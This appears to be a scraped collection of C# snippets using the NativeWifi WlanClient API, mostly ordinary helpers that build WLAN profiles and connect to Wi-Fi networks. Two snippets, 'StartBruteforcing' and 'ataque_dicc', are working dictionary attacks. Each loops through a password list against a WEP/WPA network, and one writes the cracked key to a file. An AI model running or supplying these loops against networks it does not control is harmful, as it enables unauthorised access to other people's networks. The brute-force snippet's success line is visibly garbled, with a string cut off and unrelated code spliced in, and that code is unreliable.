Example #1
0
        /// <summary>
        /// 一键连接wifi网络
        /// </summary>
        /// <param name="network">加密网络</param>
        /// <param name="password">密码</param>
        public static void ConnetWifi(WlanClient.WlanInterface wlanIface, Wlan.WlanAvailableNetwork network, string password)
        {
            string profile = GetStringForSSID(network.dot11Ssid);

            if (password != null)
            {
                string hex            = StringToHex(profile);
                string authentication = GetAuthentication(network.dot11DefaultAuthAlgorithm);
                string authEncryption = GetEncryption(network.dot11DefaultCipherAlgorithm);
                string keytype        = GetKeyType(authEncryption);
                string profileXml     = string.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>auto</connectionMode><MSM><security><authEncryption><authentication>{2}</authentication><encryption>{3}</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>{4}</keyType><protected>false</protected><keyMaterial>{5}</keyMaterial></sharedKey></security></MSM></WLANProfile>", profile, hex, authentication, authEncryption, keytype, password);
                wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
                wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profile);
            }
            else
            {
                //有profile的加密连接,直接连
                if (network.securityEnabled)
                {
                    wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profile);
                }
                else
                {
                    string hex        = StringToHex(profile);
                    string profileXml = string.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>auto</connectionMode><MSM><security><authEncryption><authentication>open</authentication><encryption>none</encryption><useOneX>false</useOneX></authEncryption></security></MSM></WLANProfile>", profile, hex);
                    wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
                    wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profile);
                }
            }
        }
Example #2
0
        // Connects to an Open WiFi Network based on it's SSID (profileName)
        // Note that an "Open Wifi Network" is one without a CipherAlgorithm
        static void ConnectToOpenWifiNetwork(WlanClient.WlanInterface wlanIface, string profileName)
        {
            string profileXml = String.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><MSM><security><authEncryption><authentication>open</authentication><encryption>none</encryption><useOneX>false</useOneX></authEncryption></security></MSM></WLANProfile>", profileName);

            wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
            wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
            Console.WriteLine("Attempted to connect to network with SSID {0}", profileName);
        }
        private static void SelectWifiWithNoKey(string name, ref WlanClient.WlanInterface wlanIface)
        {
            // Connects to a known network with WEP security
            string profileName = name;                     // this is also the SSID
            string mac         = StringToHex(profileName); //

            //string key = "";
            string myProfileXML = string.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><MSM><security><authEncryption><authentication>open</authentication><encryption>none</encryption><useOneX>false</useOneX></authEncryption></security></MSM></WLANProfile>", profileName, mac);

            wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, myProfileXML, true);
            wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
        }
Example #4
0
        public void wifiConnect()
        {
            if (WlanIface == null)
            {
                return;
            }

            string profileXml = string.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><MSM><security><authEncryption><authentication>open</authentication><encryption>none</encryption><useOneX>false</useOneX></authEncryption></security></MSM></WLANProfile>", SSID);

            WlanIface.Disconnect();
            System.Threading.Thread.Sleep(500);
            WlanIface.Connect(Wlan.WlanConnectionMode.TemporaryProfile, Wlan.Dot11BssType.Any, IntPtr.Zero, profileXml);
        }
        private bool TryToConnectToAvailableDroneNetwork()
        {
            NativeWifi.Wlan.WlanAvailableNetwork?network = SearchForArDroneNetworkUsingInterface(currentWifiInterface);

            if (network == null)
            {
                AddFailureReasonForCurrentInterface("Could not find drone network");
                ScanNextNetworkInterface();
                return(false);
            }

            currentWifiInterface.Connect(Wlan.WlanConnectionMode.DiscoveryUnsecure, network.Value.dot11BssType, network.Value.dot11Ssid, 0);

            return(true);
        }
Example #6
0
        public static void Connect(Network network, string pass)
        {
            WlanClient client = new WlanClient();

            WlanClient.WlanInterface wlanIface = client.Interfaces[0];

            String strTemplate    = Properties.Resources.WPA2PSK;
            String authentication = "WPA2PSK";
            String encryption     = network.CipherAlgorithm;
            String key            = pass;
            String profileXml     = String.Format(strTemplate, network.SSID, authentication, key);

            wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
            wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, network.SSID);
        }
        void ConnectNetwork(string ssid, WlanClient.WlanInterface nic, Wlan.WlanAvailableNetwork network)
        {
            var log = ServiceRegistration.Get <ILogger>();

            if (!string.IsNullOrEmpty(network.profileName))
            {
                try
                {
                    log.Info("WifiConfiguration: Using existing Profile to connect to WLAN '{0}'", ssid);
                    bool success = nic.ConnectSynchronously(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, network.profileName, CONNECTION_TIMEOUT_SECONDS);
                    if (success)
                    {
                        FindNetworks();
                    }
                    else
                    {
                        log.Warn("Connection to WLAN '{0}' failed.", ssid);
                    }
                }
                catch (Exception ex)
                {
                    log.Warn("Connection to WLAN '{0}' failed: {1}", ex, ssid, ex.Message);
                }
            }
            else
            {
                if (network.securityEnabled)
                {
                    ServiceRegistration.Get <IScreenManager>().ShowDialog("dialogWifiPassword");
                }
                else
                {
                    log.Info("WifiConfiguration: Connecting to unsecured WLAN '{0}'", ssid);
                    nic.Connect(Wlan.WlanConnectionMode.Auto, Wlan.Dot11BssType.Any, network.dot11Ssid, 0);
                }
            }
        }
Example #8
0
        private void btnConnectWlan_Click(object sender, RoutedEventArgs e)
        {
            try
            {
                WlanClient wlanClientTmp = new WlanClient();

                if (wlanClientTmp.Interfaces.Length != 0)
                {
                    WlanClient.WlanInterface wlanInterfaceTmp = wlanClientTmp.Interfaces[0];
                    wlanInterfaceTmp.WlanConnectionNotification += new WlanClient.WlanInterface.WlanConnectionNotificationEventHandler(wlanInterfaceTmp_WlanConnectionNotification);

                    int index = dataGridWlan1.SelectedIndex;
                    wlanInterfaceTmp.Connect(Wlan.WlanConnectionMode.Profile, wlanAvailableNetworks[index].dot11BssType, wlanAvailableNetworks[index].profileName);

                    tbState.Text = "正在连接网络:" + wlanAvailableNetworks[index].profileName;
                }
            }
            catch (Exception exp)
            {
                tbState.Foreground = Brushes.Red;
                tbState.Text       = exp.Message + "1.网络不可用  2.或者您没有权限连接.";
                MessageBox.Show(exp.Message + "\r\n原因:\r\n1.网络不可用.\r\n2.您没有权限连接", "信息", MessageBoxButton.OK, MessageBoxImage.Exclamation);
            }
        }
Example #9
0
        public static void StartBruteforcing(Wlan.WlanAvailableNetwork network, List <string> passwordDictionary)
        {
            //foreach (Wlan.WlanProfileInfo profileInfo in Interface.GetProfiles())
            //{
            //    string name = profileInfo.profileName; // this is typically the network's SSID
            //    string xml = Interface.GetProfileXml(profileInfo.profileName);
            //}

            Console.ForegroundColor = ConsoleColor.DarkCyan;
            if (network.dot11DefaultCipherAlgorithm == Wlan.Dot11CipherAlgorithm.WEP)
            {
                Console.WriteLine("   Brute-forcing WEP network, using only 5 & 13 character passwords\r\n");
                Interval = 5000;
            }
            else
            {
                Console.WriteLine("   Brute-forcing WPA network, using 8+ character passwords\r\n");
                Interval = 2000;
            }

            Console.ForegroundColor = ConsoleColor.Magenta;
            Console.WriteLine(" = Start " + DateTime.Now.ToString());
            Console.ForegroundColor = ConsoleColor.DarkMagenta;
            Console.WriteLine(" = " + GetStringForSSID(network.dot11Ssid) + "\r\n");


            string profileName = GetStringForSSID(network.dot11Ssid); // this is also the SSID

            string mac = StringToHex(profileName);



            for (int i = 0; i < passwordDictionary.Count; i++)
            {
                LineClear();
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.Write(String.Format("[{0}/{1}] ", (i + 1), passwordDictionary.Count));
                Console.ForegroundColor = ConsoleColor.White;
                Console.Write(passwordDictionary[i]);
                Console.ForegroundColor = ConsoleColor.DarkGray;
                //if(passwordDictionary.Count >= 10) Console.Write(" time left: " + GetTimeLeft(passwordDictionary.Count, i, Interval));

                string key = passwordDictionary[i];
                if (network.dot11DefaultCipherAlgorithm == Wlan.Dot11CipherAlgorithm.WEP)
                {
                    if (key.Length != 5 && key.Length != 13)
                    {
                        continue;
                    }
                }
                else
                {
                    if (key.Length < 8)
                    {
                        continue;
                    }
                }
                string profileXml = GenerateXmlWLAN(network, key);

                Interface.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
                Interface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
                Thread.Sleep(Interval);

                if (Interface.CurrentConnection.isState != Wlan.WlanInterfaceState.Connected ||
                    Interface.CurrentConnection.isState == Wlan.WlanInterfaceState.Authenticating ||
                    Interface.CurrentConnection.isState == Wlan.WlanInterfaceState.Associating)
                {
                    continue;
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.Write("\r\n\r\n = Hacked. PASSWORD: "******".txt"))
                    {
                        w.WriteLine(passwordDictionary[i]);
                    }
                    break;
                }
                //Interface.Connect(Wlan.WlanConnectionMode.TemporaryProfile, Wlan.Dot11BssType.Any, network.dot11Ssid, Wlan.WlanConnectionFlags.AdhocJoinOnly);
                //Thread.Sleep(1500);
            }
            Console.ForegroundColor = ConsoleColor.Magenta;
            Console.WriteLine("\r\n\r\n = Done " + DateTime.Now.ToString());
            Console.ForegroundColor = ConsoleColor.DarkMagenta;
            Console.WriteLine(" = Press any key...");
            Console.ReadKey();
        }
Example #10
0
 private void WifiConnect()
 {
     wifiInterface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, preferredProfile.profileName);
 }
Example #11
0
 public void Connect(Wlan.WlanConnectionMode connectionMode, Wlan.Dot11BssType bssType, string profile)
 {
     _wlanInterface.Connect(connectionMode, bssType, profile);
 }
Example #12
0
 public void Connect(string ssid)
 {
     iFace.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, ssid);
 }
Example #13
0
        private void ataque_dicc()
        {
            long tcpPackets = get_session_ip();

            long performed = 0;

            MaxProgres = Utils.CountLinesInFile(diccionario);
            double percent = 0;
            string profileXml;
            bool   keyLista  = false;
            string tipo_key  = "";
            string index_key = "";

            System.IO.StreamReader reader = null;
            try{
                if (File.Exists(tmpFileName))
                {
                    if (continueAttack)
                    {
                        using (StreamReader r = new StreamReader(tmpFileName))
                        {
                            String line = null;
                            line = r.ReadLine();
                            String[] vars = line.Split(',');
                            strName     = vars[0];
                            strCipher   = vars[1];
                            diccionario = vars[2];
                            strAuth     = vars[3];
                            delay       = int.Parse(vars[4]);
                            reader      = new StreamReader(diccionario);
                            Key         = string.Empty;
                            while (!vars[5].Equals(Key) && !reader.EndOfStream)
                            {
                                Key = reader.ReadLine();

                                performed++;
                                percent = performed / MaxProgres * 100;
                                ReportProgress((int)percent);
                            }
                            keyLista = true;
                        }
                        File.Delete(tmpFileName);
                    } // cargar variables
                    else
                    {
                        File.Delete(tmpFileName);
                        reader = new StreamReader(diccionario);
                    }
                }
                else
                {
                    strName   = SelectedWlan.ESSID;
                    strCipher = WlanClient.getCipher(SelectedWlan.Cipher);
                    strAuth   = WlanClient.getAuth(SelectedWlan.Auth);
                    reader    = new StreamReader(diccionario);
                }

                while (!connected && !reader.EndOfStream && !CancellationPending)
                {
                    if (!keyLista)
                    {
                        Key = reader.ReadLine();
                    }
                    else
                    {
                        keyLista = false;
                    }
                    if (key_valid(Key, strCipher))
                    {
                        tipo_key = "passPhrase";
                        if (strCipher == "WEP")
                        {
                            tipo_key = "networkKey";
                        }
                        if (strAuth == "open")
                        {
                            index_key = "<keyIndex>0</keyIndex>";
                        }
                        profileXml = string.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><MSM><security><authEncryption><authentication>{2}</authentication><encryption>{3}</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>{4}</keyType><protected>false</protected><keyMaterial>{1}</keyMaterial></sharedKey>{5}</security></MSM></WLANProfile>",
                                                   strName, Key, strAuth, strCipher, tipo_key, index_key);
                        INTERFAZ.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
                        INTERFAZ.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, strName);
                        performed++;
                        percent = performed / MaxProgres * 100;
                        ReportProgress((int)percent);
                        while (INTERFAZ.InterfaceState == Wlan.WlanInterfaceState.Associating || INTERFAZ.InterfaceState == Wlan.WlanInterfaceState.Authenticating)
                        {
                            Thread.Sleep(50);
                        }

                        Thread.Sleep(delay * 1000);

                        if (Math.Abs(IfaceEthernet.GetIPv4Statistics().BytesReceived - tcpPackets) > 3)
                        {
                            connected = true;
                        }

                        if (!connected)
                        {
                            INTERFAZ.DeleteProfile(strName);
                        }
                        Thread.Sleep(50);


                        if (CancellationPending)
                        {
                            WorkerCancelled = true;
                        }
                    }
                }
            }

            catch (Exception ex) {
                Console.WriteLine(ex);
                Debug.WriteLine(ex);
            }
            finally { if (reader != null)
                      {
                          reader.Close();
                      }
            }
        }
Example #14
0
        private void Run()
        {
            this.LoadConfig();
            this.currentConfigCancelSource = new CancellationTokenSource();

            ServiceProxy coreService;

            try
            {
                coreService = new ServiceProxy()
                {
                    CanSendCallbacks = false
                };
                ServiceHost host = new ServiceHost(coreService);
                host.Open();
                coreService.SettingsUpdatedEvent += CoreService_SettingsUpdatedEvent;
            }
            catch (Exception ex)
            {
                Trace.TraceError(ex.ToString());
                throw;
            }

            do
            {
                if (this.settings != null)
                {
                    coreService.Settings         = this.settings;
                    coreService.CanSendCallbacks = true;
                    Trace.TraceInformation(this.settings.ToString());
                    this.currentConfigCancelSource = new CancellationTokenSource();
                    WlanClient client = new WlanClient();
                    WlanClient.WlanInterface wlanIface = client.Interfaces.SingleOrDefault(p => p.InterfaceGuid.Equals(this.settings.WlanInterfaceId));
                    if (wlanIface == null)
                    {
                        throw new ArgumentException("The provided wlan interface id does not exist.");
                    }

                    byte[]        otpKey      = Base32.Base32Encoder.Decode(this.settings.SecretKeyBase32);
                    OtpSharp.Totp otpProvider = new OtpSharp.Totp(otpKey, this.settings.StepSeconds, totpSize: this.settings.TotpDigitCount);

                    WLANProfile defaultProfile = WLANProfile.Default(this.settings.ESSID);
                    if (wlanIface.GetProfiles().Any(p => p.profileName.Equals(this.settings.ESSID)))
                    {
                        wlanIface.DeleteProfile(this.settings.ESSID);
                    }

                    XmlSerializer xmlSer      = new XmlSerializer(typeof(WLANProfile));
                    string        textProfile = String.Empty;
                    using (StringWriter writer = new StringWriter())
                    {
                        xmlSer.Serialize(writer, defaultProfile);
                        textProfile = writer.ToString();
                    }

                    DateTime currentDate;
                    DateTime nextChange;
                    nextChange = currentDate = DateTime.UtcNow;

                    SHA1CryptoServiceProvider sha1Provider = new SHA1CryptoServiceProvider();
                    string pskhash = BitConverter.ToString(sha1Provider.ComputeHash(Encoding.ASCII.GetBytes(this.settings.PSHK))).Replace("-", "").ToLower();

                    do
                    {
                        try
                        {
                            double sleepSeconds = 0.1;
                            if (currentDate >= nextChange)
                            {
                                try
                                {
                                    //Generate key
                                    string otp      = otpProvider.ComputeTotp(currentDate);
                                    string totphash = BitConverter.ToString(sha1Provider.ComputeHash(Encoding.ASCII.GetBytes(otp))).Replace("-", "").ToLower();
                                    string newKey   = BitConverter.ToString(sha1Provider.ComputeHash(Encoding.ASCII.GetBytes(totphash + pskhash))).Replace("-", "").ToLower();
                                    Trace.TraceInformation(otp + " - " + newKey);
                                    //if (wlanIface.CurrentConnection.profileName.Equals(networkName, StringComparison.OrdinalIgnoreCase))
                                    {
                                        string newProf = profileRegex.Replace(textProfile, $"<protected>false</protected><keyMaterial>{newKey}</keyMaterial>");
                                        wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, newProf, true);
                                        if (this.settings.AutoConnect)
                                        {
                                            //wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, defaultProfile.Name);
                                            wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, defaultProfile.Name);
                                        }
                                    }

                                    int desync = (int)DateTime.UtcNow.TimeOfDay.TotalSeconds % this.settings.StepSeconds;
                                    nextChange = DateTime.UtcNow.AddSeconds(this.settings.StepSeconds - desync);

                                    Task.Factory.StartNew(() => coreService.UpdateValues(newKey, nextChange));
                                    sleepSeconds = this.settings.StepSeconds - desync - 1;
                                    Trace.TraceInformation("Next change: " + nextChange.ToString("T"));
                                }
                                catch (Exception e)
                                {
                                    Trace.TraceError(e.ToString());
                                }
                            }

                            //Task.Delay(TimeSpan.FromSeconds(sleepSeconds), this.currentConfigCancelSource.Token).Wait();
                            this.currentConfigCancelSource.Token.WaitHandle.WaitOne(TimeSpan.FromSeconds(sleepSeconds));
                            currentDate = DateTime.UtcNow;
                        }
                        catch (AggregateException)
                        { }
                    } while (!this.currentConfigCancelSource.IsCancellationRequested);
                    sha1Provider.Dispose();
                }
                else
                {
                    coreService.CanSendCallbacks = false;
                    Trace.TraceInformation("Waiting for a valid settings");
                    //Task.Delay(TimeSpan.FromSeconds(10), this.currentConfigCancelSource.Token).Wait();
                    this.currentConfigCancelSource.Token.WaitHandle.WaitOne(TimeSpan.FromSeconds(60));
                }
            } while (!this.serviceCancelSource.IsCancellationRequested);
        }